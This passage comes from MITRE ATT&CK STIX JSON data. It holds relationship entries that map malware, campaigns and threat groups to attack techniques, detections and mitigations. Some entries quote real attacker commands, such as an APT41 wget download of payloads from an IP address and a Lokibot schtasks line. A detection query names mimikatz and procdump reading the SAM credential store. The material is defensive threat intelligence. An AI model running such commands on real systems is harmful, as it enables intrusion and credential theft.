Monsoon)","relationship_type":"uses","source_ref":"malware--85b39628-204a-48d2-b377-ec368cbcb7ca","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--754012c4-1e1e-4e68-93c0-b2b5d0ce6cf2","created":"2022-04-14T20:07:12.304Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor cluster-level (Kubernetes) data and events associated with changing containers' volume configurations.","modified":"2022-04-14T20:07:12.304Z","relationship_type":"detects","source_ref":"x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7542421c-f673-4f85-85ae-b4283173c48d","type":"relationship","created":"2021-02-10T19:16:02.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:16:02.423Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of the services from a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--754699a2-fa2c-4ac2-82cc-be6b7c0c8a6b","type":"relationship","created":"2021-10-11T17:43:38.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T17:43:38.320Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) embedded the commands schtasks /Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I inside a batch script.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--754790a1-86b9-4421-b8e9-84d3dee51097","created":"2020-03-25T13:58:48.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CIRCL PlugX March 2013","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf"},{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"Lastline PlugX Analysis","description":"Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.","url":"http://labs.lastline.com/an-analysis-of-plugx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.627Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can be added as a service to establish persistence. [PlugX](https://attack.mitre.org/software/S0013) also has a module to change service configurations as well as start, control, and delete services.(Citation: CIRCL PlugX March 2013)(Citation: Lastline PlugX Analysis)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--754a5c00-45bb-4279-bdd2-ec11d54f2926","type":"relationship","created":"2021-10-06T20:06:35.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.386Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) has gained execution on targeted systems through luring users to click on links to malicious URLs.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--754d1521-2fcf-4511-b7df-af4fffc7d635","type":"relationship","created":"2021-02-09T14:35:39.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.939Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) used the EternalRomance SMB exploit to spread through victim networks.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75565ab8-1381-4ead-999f-e1df54f61d79","created":"2022-12-13T20:18:25.078Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-13T20:18:25.078Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.(Citation: Mandiant APT41)\n","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7558a855-25fc-47cb-84ef-680f337f7d6d","type":"relationship","created":"2019-01-30T17:48:35.681Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.388Z","description":"[zwShell](https://attack.mitre.org/software/S0350) can obtain the victim IP address.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--755bc45a-9048-4f58-b405-2ea8329328a1","type":"relationship","created":"2020-06-15T14:13:40.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Shamoon December 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/","description":"Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}],"modified":"2020-06-15T14:13:40.686Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) can impersonate tokens using LogonUser, ImpersonateLoggedOnUser, and ImpersonateNamedPipeClient.(Citation: McAfee Shamoon December 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--755e4d65-4e9f-499c-93f3-2aa9a9404000","created":"2023-03-26T16:12:59.131Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:12:59.131Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) obtained information about the configured Exchange virtual directory using `Get-WebServicesVirtualDirectory`.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7562ef46-c452-4338-9e06-3afdcf2c0e04","type":"relationship","created":"2020-06-10T18:15:11.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.394Z","description":"[BBK](https://attack.mitre.org/software/S0470) has the ability to decrypt AES encrypted payloads.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75640de7-9608-4c19-a0b3-6fb4816ec56a","type":"relationship","created":"2021-10-13T21:34:46.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 1","url":"https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html","description":"Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."}],"modified":"2021-10-13T21:34:46.738Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) loads and executes functions from a DLL.(Citation: Trend Micro KillDisk 1)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7566c29c-f071-40fa-a437-34d2f36eadb6","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T19:42:40.614Z","description":"[Calisto](https://attack.mitre.org/software/S0274) presents an input prompt asking for the user's login and password.(Citation: Symantec Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7566cba1-7be8-4647-b0ab-2991fcde2abf","type":"relationship","created":"2020-02-12T15:02:01.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653","description":"Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.","source_name":"Microsoft Protected View"}],"modified":"2021-06-23T18:58:33.186Z","description":"Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--756a8f86-de67-4cf0-b1bb-92364583a0e7","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for newly constructed files that may modify the kernel to automatically execute programs on system boot.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--756acf5d-6765-4611-b451-f855eefcbb77","type":"relationship","created":"2020-10-19T04:15:36.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:43:12.922Z","description":"Users can be trained to identify social engineering techniques and spearphishing attempts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--756bcc95-b0a5-4fce-bd2a-c3f3171d7a1a","created":"2024-08-27T18:50:27.900Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T18:50:27.900Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) used compromised small office/home office (SOHO) devices to interact with vulnerable Versa Director servers.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--756f3884-c21b-4d00-ac2c-6c2ab386072f","type":"relationship","created":"2020-05-28T16:38:03.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T21:10:38.927Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can compress and archive collected files using WinRAR.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7571e0ac-281a-495b-bc7a-9cffd7dfc09f","type":"relationship","created":"2019-01-30T16:39:54.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2020-03-17T13:28:28.463Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) lures victims into executing malicious macros embedded within Microsoft Excel documents.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7575fb4d-0fa3-4a16-acb6-734841da41bc","created":"2019-05-29T13:40:48.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro TA505 June 2019","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/"},{"source_name":"Cybereason TA505 April 2019","description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware"},{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.665Z","description":"(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"FireEye FIN7 Aug 2018","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"},{"source_name":"DOJ FIN7 Aug 2018","description":"Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.","url":"https://www.justice.gov/opa/press-release/file/1084361/download"},{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"},{"source_name":"FireEye FIN7 March 2017","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"},{"source_name":"IBM Ransomware Trends September 2020","description":"Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.","url":"https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/"},{"source_name":"FBI Flash FIN7 USB","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.060Z","description":"(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: DOJ FIN7 Aug 2018)(Citation: IBM Ransomware Trends September 2020)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: FBI Flash FIN7 USB)(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--757b38be-e836-40f3-9432-2a01441675e2","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:56:38.140Z","description":"Monitor for hash dumpers opening the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM). Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\n\nAnalytic 1 - Unauthorized access to SAM database.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*\\\\config\\\\SAM\" | where ProcessName IN (\"reg.exe\", \"powershell.exe\", \"wmic.exe\", \"schtasks.exe\", \"cmd.exe\", \"rundll32.exe\", \"mimikatz.exe\", \"procdump.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--757be841-a218-4d0e-bbe3-a138eea7692e","type":"relationship","created":"2020-10-01T02:08:34.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T02:08:34.018Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2","type":"relationship","created":"2017-05-31T21:33:27.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-17T16:17:15.484Z","description":"[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files.(Citation: Mandiant 